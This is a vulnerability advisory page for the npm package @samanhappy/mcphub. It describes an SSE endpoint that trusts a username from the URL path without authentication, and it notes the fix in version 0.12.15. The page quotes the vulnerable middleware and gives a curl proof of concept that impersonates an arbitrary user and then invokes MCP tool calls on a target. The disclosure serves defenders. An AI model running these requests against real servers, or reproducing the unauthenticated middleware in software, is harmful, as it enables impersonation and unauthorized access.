Skip to content
Noroxi
OSV ecosystem advisory

GHSA-wf8q-wvv8-p8jf: @samanhappy/mcphub: SSE Endpoint Accepts Arbitrary Username from URL Path Without Authentication, Enabling User Impersonation

CriticalCVSS 9.1 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 36/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: @samanhappy/mcphub (npm) 0.12.15.

Low priority for now. Upgrade to @samanhappy/mcphub (npm) 0.12.15 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

### Summary A critical identity spoofing vulnerability in MCPHub allows any unauthenticated user to impersonate any other user — including administrators — on SSE (Server-Sent Events) and MCP transport endpoints. The server accepts a username from the URL path parameter and creates an internal user session without any database validation, token verification, or authentication check. The source code itself acknowledges this gap with a TODO comment. ### Details MCPHub provides user-scoped SSE endpoints at the path `/:user/sse/:group`. The `sseUserContextMiddleware` in `src/middlewares/userContext.ts` (lines 42–75) extracts the username from `req.params.user` and constructs a fabricated `IUser` object directly, bypassing all authentication: ```typescript export const sseUserContextMiddleware = async ( req: Request, res: Response, next: NextFunction, ): Promise<void> => { const userContextService = UserContextService.getInstance(); const username = req.params.user; // ← Taken directly from URL, no validation whatsoever if (username) { // Note: In a real implementation, you should validate the user exists // and has proper permissions const user: IUser = { username, // ← Completely attacker-controlled password: '', isAdmin: false, // TODO: Should be retrieved from user database }; userContextService.setCurrentUser(user); // ← Fabricated identity is accepted as real attachCleanupHandlers(); console.log(`User context set for SSE/MCP endpoint: ${username}`); next(); } // ... }; ``` The SSE routes in `src/server.ts` (lines 132–161) apply only rate limiting and this context middleware — there is no authentication middleware in the chain: ```typescript // User-scoped routes with user context middleware this.app.get( `${this.basePath}/:user/sse/:group(.*)?`, mcpConnectionRateLimiter, // Only rate limiting sseUserContextMiddleware, // Identity from URL — no auth (req, res) => handleSseConnection(req, res), ); ``` Additionally, `UserContextService` is a **singleton** that stores the current user in a single instance variable. Under concurrent connections, one user's context can silently overwrite another's, creating a secondary race condition vulnerability (CWE-362). ### PoC **Prerequisites:** A running MCPHub instance with `enableBearerAuth: false` (or bearer keys not configured). **Step 1 — Connect to the SSE endpoint as any arbitrary user:** ```bash curl -s -N --max-time 3 http://TARGET:3100/CEO-admin-impersonated/sse ``` Expected response — a valid SSE session is created: ``` event: endpoint data: /CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 ``` **Step 2 — Verify on the server side (server logs):** ``` [INFO] User context set for SSE/MCP endpoint: CEO-admin-impersonated [INFO] Creating SSE transport with messages path: /CEO-admin-impersonated/messages [INFO] New SSE connection established: 54efc6f5-15ed-4e69-9a0e-de87d3179758 with group: global for user: CEO-admin-impersonated ``` The server accepted a completely non-existent user, created a full MCP session, and is ready to proxy tool calls under this fabricated identity. No database lookup was performed, no token was validated. **Step 3 — Execute MCP tool calls under the spoofed identity:** Once the SSE session is established, the attacker can send MCP messages to the returned endpoint path, executing tools under the spoofed user's context: ```bash curl -X POST http://TARGET:3100/CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"any-tool","arguments":{}}}' ``` ### Impact This is a **user identity spoofing** vulnerability on the MCP transport layer. Any unauthenticated network user can: - **Impersonate any user**, including administrators, on SSE/MCP endpoints - **Execute MCP tool calls** under a spoofed user's identity, potentially accessing user-scoped resources and data - **Poison audit logs** — all actions are recorded under the fabricated username, destroying accountability and forensic value - **Access user-scoped servers and groups** that should only be available to authenticated users All MCPHub instances exposing SSE endpoints without bearer authentication are affected. This includes the default configuration when bearer keys are not explicitly set up. Reported by the Eresus Security Research Team.

Published
May 14, 2026
Updated
May 14, 2026
EPSS
—

Report tools

JSON

Action score

36

Monitor

Low priority for now.

CVSS
36 / 40 · 9.1 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-wf8q-wvv8-p8jf

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
npm@samanhappy/mcphub

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npm@samanhappy/mcphubbefore 0.12.150.12.15

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:@samanhappy/mcphub0.12.15Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
high · data can be read
Integrity
high · data or configuration can be modified
Availability
none
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
High
Integrity impact
High
Availability impact
None

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

osv

References

Show all references (2 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

All records